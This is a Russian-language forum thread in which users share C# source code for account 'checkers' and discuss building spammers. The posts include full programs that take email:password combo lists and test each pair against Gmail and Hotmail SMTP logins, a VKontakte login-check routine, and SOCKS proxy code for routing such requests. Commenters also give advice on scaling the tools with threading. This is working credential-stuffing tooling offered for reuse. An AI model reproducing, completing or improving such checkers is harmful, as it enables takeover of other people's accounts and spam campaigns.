Добрый день всем формучанам, поделитесь пожалуйста исходниками не рабочих чекеров или спаммеров на С#. Набираюсь опыта в программировании.
Как вариант, взятые из паблика (С#): 1: Gmail acc checker Code: using System; using System.Collections.Generic; using System.ComponentModel; using System.Data; using System.Drawing; using System.Linq; using System.Text; using System.Windows.Forms; using System.Net.Mail; using System.Net; using System.Collections; using System.IO; namespace GMailCheck { public partial class Form1 : Form { public Form1() { InitializeComponent(); } private void button1_Click(object sender, EventArgs e) { try { if(textBox1.Text == "") MessageBox.Show("list is empty"); ArrayList mails = new ArrayList(textBox1.Text.Split('\n')); //seperate them by new lines for (int i = 0; i < mails.Count; i++) { ArrayList mailInfo = new ArrayList(mails[i].ToString().Split(':')); if (!mailInfo[0].ToString().EndsWith("@gmail.com")) mailInfo[0] = mailInfo[0] + "@gmail.com"; if (checkAccount(mailInfo[0].ToString(), mailInfo[1].ToString())) { textBox2.Text += mailInfo[0].ToString() + ":" + mailInfo[1].ToString() + "\r\n"; } } } catch (Exception ex) { MessageBox.Show(ex.Message); } } static bool checkAccount(string username, string password) { //we use fake emails so nobody recieves the email, if you want a email when //the correct login is found, supply your email address MailMessage msg = new MailMessage(); msg.From = new MailAddress("[email protected]"); msg.To.Add("[email protected]"); msg.Subject = "test"; msg.Body = "test"; SmtpClient smtp = new SmtpClient("smtp.gmail.com"); smtp.Credentials = new NetworkCredential(username, password); smtp.EnableSsl = true; try { smtp.Send(msg); return true; } catch(Exception ex) { return false; } } private void button2_Click(object sender, EventArgs e) { try { openFileDialog1.ShowDialog(); StreamReader read = new StreamReader(openFileDialog1.FileName); while (!read.EndOfStream) { textBox1.Text += read.ReadLine() + "\r\n"; } } catch (Exception ex) { MessageBox.Show(ex.Message); } } } } 2: Multi Mail Account Checker (Как я понял консольный) Code: using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Net; using System.Net.Mail; using System.IO; namespace ConsoleApplication6 { class Program { static void Main(string[] args) { Dictionary<string, string> accounts = new Dictionary<string, string>(); foreach (string combo in File.ReadAllLines("file.txt")) { string[] values = combo.Split(':'); if (values.Length >= 2 && !accounts.ContainsKey(values[0])) accounts.Add(values[0], values[1]); } foreach (KeyValuePair<string, string> kvp in accounts) { string email = kvp.Key; string password = kvp.Value; //SmtpClient Client = new SmtpClient("smtp.gmail.com", 587); SmtpClient Client = new SmtpClient("smtp.live.com", 587); Client.EnableSsl = true; NetworkCredential Creds = new NetworkCredential(email, password); Client.Credentials = Creds; MailMessage msg = new MailMessage(); msg.To.Add(new MailAddress(email)); msg.From = new MailAddress(email); msg.Subject = ""; try { Client.Send(msg); Console.ForegroundColor = ConsoleColor.Yellow; Console.WriteLine(email + " " + password + " " + "WORKING"); } catch (SmtpException ex) { Console.ForegroundColor = ConsoleColor.Red; Console.WriteLine(email + " " + password + " " + "not working"); } } Console.ReadKey(); } } } На работоспособность не проверены. Копипаст.
а что программирование из ряда спаммеров и чекеров уже не относится к разряду программирования? p.s и в чем логичнее учиться на рабочих исходниках? зачем? если можно посмотреть реализацию и повторить все это на своем примере
1: Кому как. Возможно он хочет из не рабочего кода сделать рабочий, тоже не плохо. 2: Возможно он для этого и учится
з.ы. я например сам учусь, но мне удобнее брать готовый код интересующей меня программы, править его как нужно и ручками переписывать. Со временем всё это дело запоминается и уже получается писать самому
Ещё как вариант, можешь сделать чекер акков вконтакте. Думаю код авторизации уже все знают, но на всякий выложу (С#) 1: Коментов не требует Code: using System; using System.Collections.Generic; using System.ComponentModel; using System.Data; using System.Drawing; using System.Text; using System.Windows.Forms; using System.Net; using System.IO; using System.Text.RegularExpressions; 2: Перед конструктором обьявить переменные Code: string sid; Cookie cook; 3: В обработчик событий главный код ( Коменты прилагаются) Code: HttpWebRequest wrGETURL = (HttpWebRequest)System.Net.WebRequest.Create("http://vkontakte.ru/login.php?m=1&email=" + textBox1.Text + "&pass=" + textBox2.Text); //выставляем значения Headers //Запрещаем редирект wrGETURL.AllowAutoRedirect = false; //Выставляем таймаут wrGETURL.Timeout = 100000; //получаем Headers,пришедшие в ответе string headers = wrGETURL.GetResponse().Headers.ToString(); //получаем весь ответ HttpWebResponse myHttpWebResponse = (HttpWebResponse)wrGETURL.GetResponse(); //записываем ответ в поток StreamReader myStreamReadermy = new StreamReader(myHttpWebResponse.GetResponseStream(), Encoding.GetEncoding(1251)); //запихиваем ответ в строку string page = myStreamReadermy.ReadToEnd(); //это регулярное выражение,которое выдирает из переменной headers(а ее мы получили выше) значение sid Regex sidregex = new Regex("sid=([a-z0-9]+); exp"); Match ssid = sidregex.Match(headers); sid = ssid.Groups[1].Value; //инициализируем куки cook = new Cookie("remixsid", sid); //тоже самое,куки пишем cook.Domain = "vkontakte.ru"; //проверяем,получили ли мы нужную переменную в куки if (String.IsNullOrEmpty(sid)) MessageBox.Show("Неверный логин или пароль"); else MessageBox.Show("Успешно авторизировались"); Думаю дальше соберёшь сам.
я тоже так раньше думал. а потом столкнулся с тем, что бывает такой код, который очень сложно понять, как он работает. А уж тем более ПОЧЕМУ так этот код написан - понять без соответствующей литературы невозможно. Теория тоже необходима
Видимо при такой постановке вопроса лучше взять Viking Engine с блога Каироса и вообще не заморачиваться на процессе, а заниматься исключительно формошлепством и придумыванием тайтла главного окна.
мда.. вот растет еще один быдлокодер- формошлепер... лучше бы занялся системным программированием или разработкой вэб приложений- гораздо перрспективней и вострбовванней чем ваять спамилки за 10 баксов в разделе о работе... а по теме: в быдлокодинге-формошлеперстве ничего сложного нет: просто смотришь в сниффер и отправляешь такие же запросы. единственный класс в c# который тебе требуется хорошо знать - это httpwebrequest http://msdn.microsoft.com/en-us/library/system.net.httpwebrequest.aspx и вспомогательный классы типа proxy, cookiecontainer и пр, с которыми можно разобраться методом тыка... и ты наваяешь любую спамилку, чекалку или что еще бывает там , за полчаса
Чтобы написать хороший спамер с ГУИ и прочими плюшками, то уже надо изучать многопоточность (а это очень непростая тема, как может сначал показаться), MVC, паттерны...
Если писать норм софт, то на сокетах с синхронизацией или просто в поток... а чтобы нашлепать на httpwebreqest(respose) с потоками ума много не надо, в основном в разделе о работе все пишут на httpwebreqest(respose).
Не согласен. Winsock нужно использовать только там, где его нужно использовать. И лучше даже не в чистом виде, а сделать какую нибудь обертку над ним в виде класса или функций.
На всякий случай=) Большой минус в HttpWebRequest(response) это работа через socks proxy... Но есть очень интерсная либа socket proxy под .net example Code: using Org.Mentalis.Network.ProxySocket; using System.Net; using System.Net.Sockets; string request = ""; ProxySocket s = new ProxySocket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp); // set the proxy settings s.ProxyEndPoint = new IPEndPoint(IPAddress.Parse("173.2.112.41"), 27977); s.ProxyType = ProxyTypes.Socks5; // if you set this to ProxyTypes.None, // the ProxySocket will act as a normal Socket // connect to the remote server // (note that the proxy server will resolve the domain name for us) s.Connect("81.176.66.38", 80); // send an HTTP request s.Send(Encoding.ASCII.GetBytes(request)); // read the HTTP reply int recv = 0; byte[] buffer = new byte[1024]; recv = s.Receive(buffer); while (recv > 0) { Console.Write(Encoding.ASCII.GetString(buffer, 0, recv)); recv = s.Receive(buffer); } Kaimi спасибо за подсказку
На всякий случай для чего? Никакой логики. Ты пишешь: То есть то, что Winsock задействован при использовании сетевых библиотек это разве новизна для тебя, а не для меня.